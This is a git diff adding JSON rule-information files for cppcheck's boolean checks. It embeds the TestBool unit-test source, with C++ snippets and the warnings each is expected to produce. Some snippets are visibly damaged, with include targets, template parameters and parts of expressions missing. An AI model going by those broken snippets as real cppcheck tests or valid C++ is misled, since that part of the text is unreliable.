\"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" test[0]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(int test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt1() {\n check(\"void f(bool x) {\\n\"\n \" if (x < 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (10 >= x) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\" // #3356\n \" if (x == 1) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"DensePropertyMap visited;\"); // #4075\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt2() {\n check(\"void f(bool x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, fooClass y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt3() {\n check(\"void f(int y) {\\n\"\n \" if (y > false) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(int y) {\\n\"\n \" if (true == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (y == true) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (false < 5) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void comparisonOfBoolWithInt4() {\n check(\"void f(int x) {\\n\"\n \" if (!x == 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt5() {\n check(\"void SetVisible(int index, bool visible) {\\n\"\n \" bool (SciTEBase::*ischarforsel)(char ch);\\n\"\n \" if (visible != GetVisible(index)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt6() { // #4224 - integer is casted to bool\n check(\"void SetVisible(bool b, int i) {\\n\"\n \" if (b == (bool)i) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt7() { // #4846 - (!x==true)\n check(\"void f(int x) {\\n\"\n \" if (!x == true) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt8() { // #9165\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res + 5)\\n\"\n \" throw 2;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void comparisonOfBoolWithInt9() { // #9304\n check(\"bool f(int a, bool b)\\n\"\n \"{\\n\"\n \" if ((a == 0 ? false : true) != b) {\\n\"\n \" b = !b;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt10() { // #10935\n check(\"enum class E { H = 2 };\\n\"\n \"template \\n\"\n \"void f(bool v) {\\n\"\n \" if (v == H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" enum class E { H = 2 };\\n\"\n \"}\\n\"\n \"void f(bool v) {\\n\"\n \" if (v == N::H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void pointerArithBool1() { // #5126\n check(\"void f(char *p) {\\n\"\n \" if (p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" do {} while (p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" while (p-1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" for (int i = 0; p+1; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p && p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p+2 || p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n }\n\n void returnNonBool() {\n check(\"bool f(void) {\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1 + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 10;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2 < 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" if (a)\\n\"\n \" return 3;\\n\"\n \" return 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolLambda() {\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n\n void returnNonBoolLogicalOp() {\n check(\"bool f(int x) {\\n\"\n \" return x & 0x4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\"\n \" return x | y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return (x & 0x2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolClass() {\n check(\"class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" struct X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \" };\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:24]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBool)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkBitwiseOnBoolean.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkBitwiseOnBoolean.json new file mode 100644 index 0000000..10dc50d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkBitwiseOnBoolean.json @@ -0,0 +1,22 @@ +{ + "name": "checkBitwiseOnBoolean", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 40, + "branches": 16, + "apis": 48, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 813 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkbool.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestBool : public TestFixture {\npublic:\n TestBool() : TestFixture(\"TestBool\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).certainty(Certainty::inconclusive).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(bitwiseOnBoolean); // if (bool & bool)\n TEST_CASE(incrementBoolean);\n TEST_CASE(assignBoolToPointer);\n TEST_CASE(assignBoolToFloat);\n\n TEST_CASE(comparisonOfBoolExpressionWithInt1);\n TEST_CASE(comparisonOfBoolExpressionWithInt2);\n TEST_CASE(comparisonOfBoolExpressionWithInt3);\n TEST_CASE(comparisonOfBoolExpressionWithInt4);\n\n TEST_CASE(comparisonOfBoolWithInt1);\n TEST_CASE(comparisonOfBoolWithInt2);\n TEST_CASE(comparisonOfBoolWithInt3);\n TEST_CASE(comparisonOfBoolWithInt4);\n TEST_CASE(comparisonOfBoolWithInt5);\n TEST_CASE(comparisonOfBoolWithInt6); // #4224 - integer is casted to bool\n TEST_CASE(comparisonOfBoolWithInt7); // #4846 - (!x == true)\n TEST_CASE(comparisonOfBoolWithInt8); // #9165\n TEST_CASE(comparisonOfBoolWithInt9); // #9304\n TEST_CASE(comparisonOfBoolWithInt10); // #10935\n\n TEST_CASE(checkComparisonOfFuncReturningBool1);\n TEST_CASE(checkComparisonOfFuncReturningBool2);\n TEST_CASE(checkComparisonOfFuncReturningBool3);\n TEST_CASE(checkComparisonOfFuncReturningBool4);\n TEST_CASE(checkComparisonOfFuncReturningBool5);\n TEST_CASE(checkComparisonOfFuncReturningBool6);\n TEST_CASE(checkComparisonOfFuncReturningBool7); // #7197\n TEST_CASE(checkComparisonOfFuncReturningBool8); // #4103\n // Integration tests..\n TEST_CASE(checkComparisonOfFuncReturningBoolIntegrationTest1); // #7798 overloaded functions\n\n TEST_CASE(checkComparisonOfBoolWithBool);\n\n // Converting pointer addition result to bool\n TEST_CASE(pointerArithBool1);\n\n TEST_CASE(returnNonBool);\n TEST_CASE(returnNonBoolLambda);\n TEST_CASE(returnNonBoolLogicalOp);\n TEST_CASE(returnNonBoolClass);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n\n void assignBoolToPointer() {\n check(\"void foo(bool *p) {\\n\"\n \" p = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n check(\"void foo(bool *p) {\\n\"\n \" p = (x[rSize];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #6588 (c mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6588 (c++ mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6665\n check(\"void pivot_big(char *first, int compare(const void *, const void *)) {\\n\"\n \" char *a = first, *b = first + 1, *c = first + 2;\\n\"\n \" char* m1 = compare(a, b) < 0\\n\"\n \" ? (compare(b, c) < 0 ? b : (compare(a, c) < 0 ? c : a))\\n\"\n \" : (compare(a, c) < 0 ? a : (compare(b, c) < 0 ? c : b));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7381\n check(\"void foo(bool *p, bool b) {\\n\"\n \" p = b;\\n\"\n \" p = &b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n }\n\n void assignBoolToFloat() {\n check(\"void foo1() {\\n\"\n \" double d = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo2() {\\n\"\n \" float d = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo3() {\\n\"\n \" long double d = (2>1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n // stability - don't crash:\n check(\"void foo4() {\\n\"\n \" unknown = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" float p;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" s.p = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" float* p[1];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" *s.p[0] = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt1() {\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x & 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x | 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3 || (8 && x)==9)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:2:32]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)!=3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 0)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 1)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if (0 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (0 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x > false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false < x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x < false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false > x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x >= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false >= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x <= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false <= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"typedef int (*func)(bool invert);\\n\"\n \"void x(int, func f);\\n\"\n \"void foo(int error) {\\n\"\n \" if (error == ABC) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !a+b1){} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (a != !b || c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !!a + !!b + !!c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !(a+b)) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\",errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt3() {\n check(\"int f(int x) {\\n\"\n \" return t<0>() && x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt4() {\n // #5016\n check(\"void f() {\\n\"\n \" for(int i = 4; i > -1 < 5 ; --i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Comparison of a boolean expression with an integer other than 0 